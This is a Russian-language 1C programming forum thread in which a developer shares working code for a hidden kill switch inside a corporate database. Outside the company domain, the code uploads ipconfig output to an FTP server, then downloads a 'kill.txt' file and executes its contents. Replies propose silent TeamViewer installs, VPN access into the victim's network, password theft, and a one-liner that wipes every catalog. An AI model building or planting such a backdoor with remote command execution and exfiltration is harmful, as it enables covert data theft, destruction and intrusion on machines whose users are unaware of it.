| 
    
            
         
         | 
    
  | 
Как в одну строчку очистить справочник? | ☑ | ||
|---|---|---|---|---|
| 
    0
    
        Shur1cIT    
     15.01.15 
            ✎
    18:23 
 | 
         
        Суть такова
 
        Получаю с ФТП текстовой файл получаю строку с текстом кода делаю Выполнить() вопрос как код в одну строку разместить? пробую так не получаеться Выборка = Справочники.Номенклатура.Выбрать() Пока Выборка.Следующий() Цикл Выборка.ПолучитьОбъект().Удалить() КонецЦикла  | 
|||
| 
    1
    
        ДенисЧ    
     15.01.15 
            ✎
    18:25 
 | 
         
        Зачем?     
         | 
|||
| 
    2
    
        palpetrovich    
     15.01.15 
            ✎
    18:26 
 | 
         
        (0)  может ";" подобавлять?     
         | 
|||
| 
    3
    
        Shur1cIT    
     15.01.15 
            ✎
    18:26 
 | 
         
        (1) делаю возможность удалить базу дистанционно если она не в домене     
         | 
|||
| 
    4
    
        palpetrovich    
     15.01.15 
            ✎
    18:27 
 | 
         
        (3) "удалить базу" != "очистить справочник" :)     
         | 
|||
| 
    5
    
        Shur1cIT    
     15.01.15 
            ✎
    18:28 
 | 
         
        Процедура   ОпределитьДомен()
 
        МассивДоменов = ПолучитьСписокДоменов(); //сли МассивДоменов.Найти("PHARM") = Неопределено Тогда Если МассивДоменов.Найти("PHAR1") = Неопределено Тогда ВременныйКаталог = КаталогВременныхФайлов(); ВременнаяМетка = Формат(ТекущаяДата(),"ДФ=yyyy_MM_dd_HH_mm_ss"); ФайлIPКонфиг = ВременныйКаталог+"IpConf"+ВременнаяМетка+".txt"; КомандаСистемы("ipconfig >"+ФайлIPКонфиг); ФайлTracertКонфиг = ВременныйКаталог+"Tracert"+ВременнаяМетка+".txt"; АдресФайла =""; // FTPСоединение=Новый FTPСоединение("00000",21,"xxxxxx","xxxxx FTPСоединение.Записать(ФайлIPКонфиг,"IpConf"+ВременнаяМетка+".txt"); ТекстДок = Новый ТекстовыйДокумент; Попытка ВременныйФайлНаВыполнение = ВременныйКаталог+"kill.txt"; FTPСоединение.Получить("kill.txt",ВременныйФайлНаВыполнение); Чтение = Новый ЧтениеТекста; Чтение.Открыть(ВременныйФайлНаВыполнение); СтрокаТекст = Чтение.Прочитать(); Выполнить(СтрокаТекст); Исключение КонецПопытки; КонецЕсли; КонецПроцедуры Функция ПолучитьСписокДоменов () Экспорт Результат = Новый Массив(); objNameSpace = ""; Попытка objNameSpace = ПолучитьCOMОбъект("WinNT:"); м = Новый Массив(); м.Добавить("domain"); // Computer User Group GlobalGroup domain м2 = Новый COMSafeArray(м, "VT_VARIANT"); objNameSpace.Filter = м2; Для каждого item Из objNameSpace Цикл Результат.Добавить(item.Name); КонецЦикла; Исключение Результат.Очистить(); КонецПопытки; Возврат Результат; КонецФункции  | 
|||
| 
    6
    
        Shur1cIT    
     15.01.15 
            ✎
    18:31 
 | 
         
        Я ПРАВДА МАНЬЯК ДА???     
         | 
|||
| 
    7
    
        Shur1cIT    
     15.01.15 
            ✎
    18:34 
 | 
         
        Ура получилось!     
         | 
|||
| 
    8
    
        Shur1cIT    
     15.01.15 
            ✎
    18:35 
 | 
         
        (4) по аналогии любой код отправить можно хоть команду системы)))     
         | 
|||
| 
    9
    
        Garykom    
     гуру 
    15.01.15 
            ✎
    18:35 
 | 
         
        Мушку спили...     
         | 
|||
| 
    10
    
        palpetrovich    
     15.01.15 
            ✎
    18:35 
 | 
         
        (5) познавательно :)  ...кодировку файла не забыл?     
         | 
|||
| 
    11
    
        Shur1cIT    
     15.01.15 
            ✎
    18:37 
 | 
         
        (10) при отправки на фтп есть проблема с кодировкой но она решается онлайн перекодеровщиком, остальное всё нормально работает, только что прибил справочник в тестовой базе)))     
         | 
|||
| 
    12
    
        MAGAZKA    
     15.01.15 
            ✎
    22:51 
 | 
         
        (11) там где вы учились, мы преподавали (с)
 
        Все можно сделать НАМНОГО проще и изощереннее и быстрее (надежнее)!))) и самое главное!!!! С возможностью отката назад. Это пока на слабенькую троечку и то за то что старался. Думайте.  | 
|||
| 
    13
    
        Jaap Vduul    
     15.01.15 
            ✎
    23:21 
 | 
         
        (0)А зачем именно в одну строку?
 
        Выполнить() можно любое количество строк скормить.  | 
|||
| 
    14
    
        quest    
     15.01.15 
            ✎
    23:52 
 | 
         
        у выполнить() чудеса с goto, не поддерживает препроцессор и еще несколько  ограничений     
         | 
|||
| 
    15
    
        Asmody    
     16.01.15 
            ✎
    00:10 
 | 
         
        Зачем заморочки с Выполнить?  Можно же прямо epf загрузить и запустить     
         | 
|||
| 
    16
    
        Asmody    
     16.01.15 
            ✎
    00:12 
 | 
         
        Только для таких умников безопасный режим придумали     
         | 
|||
| 
    17
    
        vhl    
     16.01.15 
            ✎
    00:24 
 | 
         
        Базу удалил, а бэкап то остался :)     
         | 
|||
| 
    18
    
        Franchiser    
     16.01.15 
            ✎
    00:43 
 | 
         
        Что в файле в итоге написано? удалось выполнить в 1 строку?     
         | 
|||
| 
    19
    
        Flyd-s    
     16.01.15 
            ✎
    00:50 
 | 
         
        А может проще сервер сжигать дистанционно?     
         | 
|||
| 
    20
    
        tridog    
     16.01.15 
            ✎
    01:11 
 | 
         
        (0) УдалитьДанныеИнформационнойБазы();     
         | 
|||
| 
    21
    
        DrZombi    
     гуру 
    16.01.15 
            ✎
    07:27 
 | 
         
        (0) Зечем? Пиши в Выполнить с переносами, все отработает прекрасно :)     
         | 
|||
| 
    22
    
        DrZombi    
     гуру 
    16.01.15 
            ✎
    07:27 
 | 
         
        (20) Тог да уж  Format c: /Y     
         | 
|||
| 
    23
    
        tridog    
     16.01.15 
            ✎
    08:20 
 | 
         
        (22) Современная ОС не даст отформатиррвать системный раздел     
         | 
|||
| 
    24
    
        Shur1cIT    
     16.01.15 
            ✎
    08:34 
 | 
         
        (18) для теста удалял справочник номенклатура, 
 
        а так предполагается следующее. Как только мы увидим txt файл на фтп с данными IPconfig мы принимаем решение что делать, код уничтожения базы или других действий помещается в текстовой файл "kill.txt" и при следующим запуске угнанной базы происходит подгруздка файла "kill.txt" читается от туда код и происходит выполнения его. Эта процедура расположена в модуле обычного приложения там всё привилегированно выполняеться  | 
|||
| 
    25
    
        ifso    
     16.01.15 
            ✎
    08:44 
 | 
         
        (24) защита от дурака ?
 
        или с какого раза угонщик перестанет открывать угнанную базу не забэкапив угнанное ?  | 
|||
| 
    26
    
        cons74    
     16.01.15 
            ✎
    09:00 
 | 
         
        (25) кстати да. Я б копию в виде архива или dt выносил. И у себя из них разворачивал. Т.е. при отработке этой приблуды исходник все ещё у меня.     
         | 
|||
| 
    27
    
        Соло    
     16.01.15 
            ✎
    09:07 
 | 
         
        (24) А есть абсолютная уверенность что база будет иметь доступ к этому FTP? И вообще выход в инет будет?
 
        PS Если это серьёзная разработка, то использовать будут серьёзные люди, и без ведома админа никто программу на Ваш FTP не пустит, а если это разработка для ларечников - то откуда там инет?  | 
|||
| 
    28
    
        Shur1cIT    
     16.01.15 
            ✎
    09:08 
 | 
         
        (26) (25) да вы правы, удаление базы один из вариантов на самом деле можно и удаленное управление компом попытаться подгрузить всё что угодно.
 
        по сути и механизм удаление базы и всякие "kill.txt" не нужны, достаточно файла с ipconfig чтобы напрячь службу безопасности нашей компании на расследование. А СБ у нас не слабая думаю как и у других фармпредприятий. (27) это лишь шанс не более того.  | 
|||
| 
    29
    
        Andrewww123    
     16.01.15 
            ✎
    09:09 
 | 
         
        (24) Нужно писать полноценный мега-скрипт, который ищет на компьютере все dt-шники, все архивы, бэкапы SQL-ные, потом ворует данные от учеток электронной почты, яндекс-диска, проверяет там тоже копии базы, проверяет флешки на лету, ну и так далее :)     
         | 
|||
| 
    30
    
        Бубка Гоп    
     16.01.15 
            ✎
    09:18 
 | 
         
        А зачем вредить в собственной базе? "Отомстить" если уволят?     
         | 
|||
| 
    31
    
        Помогите    
     16.01.15 
            ✎
    09:18 
 | 
         
        Лучше встрой установку удаленного управления компом типа TeamViewer для передачи файлов, только без уведомлений, чтобы можно было в чужом компе самому полазить по дискам, поуправлять службами, ...     
         | 
|||
| 
    32
    
        Shur1cIT    
     16.01.15 
            ✎
    09:19 
 | 
         
        (30) в собственной базе в собственном домене она даже на фтп не полезет     
         | 
|||
| 
    33
    
        Бубка Гоп    
     16.01.15 
            ✎
    09:21 
 | 
         
        (32) Конкурентам навредить пытаетесь? Мне просто правда непонятен сокровенный смысл вашей наработки     
         | 
|||
| 
    34
    
        Помогите    
     16.01.15 
            ✎
    09:21 
 | 
         
        Или установи на чужом компе VPN чтобы получить доступ в их локальную сеть. Получи пароли от компов. Подключайся к их компам стандартными виндовыми средствами.     
         | 
|||
| 
    35
    
        Помогите    
     16.01.15 
            ✎
    09:21 
 | 
         
        (33) Почитай тему сначала, там все объясняется     
         | 
|||
| 
    36
    
        Бубка Гоп    
     16.01.15 
            ✎
    09:23 
 | 
         
        (35) "делаю возможность удалить базу дистанционно если она не в домене"
 
        не отвечает на вопрос "зачем?"  | 
|||
| 
    37
    
        Йохохо    
     16.01.15 
            ✎
    09:26 
 | 
         
        (36) у них тырят базу, но в базу вшит зловред, который щемится домой запрашиает у центра ботнета команды, получает рута, удаляет базу и начинает фармить биткойны     
         | 
|||
| 
    38
    
        Serg_1960    
     16.01.15 
            ✎
    09:26 
 | 
         
        Эээ... лучше сделать  попытку отправить письмо на свой адрес. Почта, скорее всего, есть на компе чем остальные изощрённые методы, которые могут не прокатить.
 
        И если удалять, то удалять по полной :) Выполнить("Для Каждого Х Из Метаданные.Справочники Цикл Выборка = Справочники[Х.Имя].Выбрать(); Пока Выборка.Следующий() Цикл Выборка.ПолучитьОбъект().Удалить() КонецЦикла; КонецЦикла;");  | 
|||
| 
    39
    
        Fish    
     гуру 
    16.01.15 
            ✎
    09:28 
 | 
         
        (28) "А СБ у нас не слабая  думаю как и у других фармпредприятий" - Может, лучше вам поискать среди своей продукции что-нибудь против паранойи?     
         | 
|||
| 
    40
    
        Бубка Гоп    
     16.01.15 
            ✎
    09:29 
 | 
         
        (37) ... и качает все альбомы Бориса Моисеева и включает их при каждом заапуске 1с     
         | 
|||
| 
    41
    
        Бубка Гоп    
     16.01.15 
            ✎
    09:32 
 | 
         
        и кстати почему только справочники? регистры жеж еще можно похерить, это как минимум     
         | 
|||
| 
    42
    
        Shur1cIT    
     16.01.15 
            ✎
    09:40 
 | 
         
        (39) паранойя у ВСЕХ фармпроизводителей ибо ведутся разработки тратятся деньги итд.     
         | 
|||
| 
    43
    
        Йохохо    
     16.01.15 
            ✎
    09:42 
 | 
         
        (42) то, что стыреную базу потом из копии развернут слишком скучно, разчитай это сообщение взад     
         | 
|||
| 
    44
    
        Shur1cIT    
     16.01.15 
            ✎
    09:44 
 | 
         
        (43) выше я на писал что достаточно знать что база стырена чтобы СБ компании напряглась. а подкачка файла и выполнения команд это всё рюшечки     
         | 
 | Форум | Правила | Описание | Объявления | Секции | Поиск | Книга знаний | Вики-миста |